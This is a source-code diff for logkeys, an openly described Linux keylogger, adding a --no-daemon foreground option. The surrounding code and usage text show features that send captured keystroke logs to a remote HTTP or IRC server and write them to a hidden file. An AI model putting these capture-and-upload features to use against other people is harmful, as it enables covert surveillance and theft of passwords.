Added flag to run in foreground, no daemon (--no-daemon switch)

man/logkeys.8

@@ -7,6 +7,8 @@ logkeys \- a GNU/Linux keylogger that works!
           [\fB--no-func-keys\fR] [\fB--no-timestamps\fR] 
.br
           [\fB--post-http=\fIURL\fR] [\fB--post-size=\fISIZE\fR]
.br
           [\fB--no-daemon\fR]
.br
.B logkeys \fB-k\fR
.br
@@ -133,6 +135,11 @@ by a (PHP) script.
The file is sent with header \fIContent-Type: multipart/form-data\fR as file, so it
is accessible in PHP via $_FILES['file'] variable.

.TP
\fB-\-no-daemon\fR
When this option is set, logkeys runs in the foreground.
Useful when printing output to stdout.

.SH FILES
.TP
\fB/var/log/logkeys.log\fR

src/args.cc

@@ -33,6 +33,7 @@ struct arguments
#define FLAG_POST_HTTP        0x8  // post log to remote HTTP server, --post-http switch
#define FLAG_POST_IRC        0x10  // post log to remote IRC server, --post-irc switch
#define FLAG_POST_SIZE       0x20  // post log to remote HTTP or IRC server when log of size optarg, --post-size
#define FLAG_NO_DAEMON       0x40  // don't daemonize process, stay in foreground, --no-daemon switch
} args = {0};  // default all args to 0x0 or ""


@@ -54,6 +55,7 @@ void process_command_line_arguments(int argc, char **argv)
    {"post-http",     required_argument, &flags, FLAG_POST_HTTP},
    {"post-irc",      required_argument, &flags, FLAG_POST_IRC},
    {"post-size",     required_argument, &flags, FLAG_POST_SIZE},
    {"no-daemon",     no_argument,       &flags, FLAG_NO_DAEMON},
    {0}
  };

src/logkeys.cc

@@ -422,12 +422,14 @@ int main(int argc, char **argv)

  set_signal_handling();

  int nochdir = 0;
  if (args.logfile[0] != '/')
       nochdir = 1;  // don't chdir (logfile specified with relative path)
  int noclose = 1;  // don't close streams (stderr used)
  if (daemon(nochdir, noclose) == -1)  // become daemon
    error(EXIT_FAILURE, errno, "Failed to become daemon");
  if (!(args.flags & FLAG_NO_DAEMON)) {
    int nochdir = 0;
    if (args.logfile[0] != '/')
         nochdir = 1;  // don't chdir (logfile specified with relative path)
    int noclose = 1;  // don't close streams (stderr used)
    if (daemon(nochdir, noclose) == -1)  // become daemon
      error(EXIT_FAILURE, errno, "Failed to become daemon");
  }
  close(STDIN_FILENO);
  // leave stderr open
  if (args.logfile != "-") {
@@ -460,7 +462,9 @@ int main(int argc, char **argv)

  // now we need those privileges back in order to create system-wide PID_FILE
  seteuid(0); setegid(0);
  create_PID_file();
  if (!(args.flags & FLAG_NO_DAEMON)) {
    create_PID_file();
  }

  // now we've got everything we need, finally drop privileges by becoming 'nobody'
  //setegid(65534); seteuid(65534);   // commented-out, I forgot why xD

src/usage.cc

@@ -30,6 +30,7 @@ void usage()
"      --post-http=URL       POST log to URL as multipart/form-data file\n"
//"      --post-irc=FORMAT     FORMAT is nick_or_channel@server:port\n"
"      --post-size=SIZE      post log file when size equals SIZE [500k]\n"
"      --no-daemon           run in foreground\n"
"\n"
"Examples: logkeys -s -m mylang.map -o ~/.secret-keys.log\n"
"          logkeys -s -d event6\n"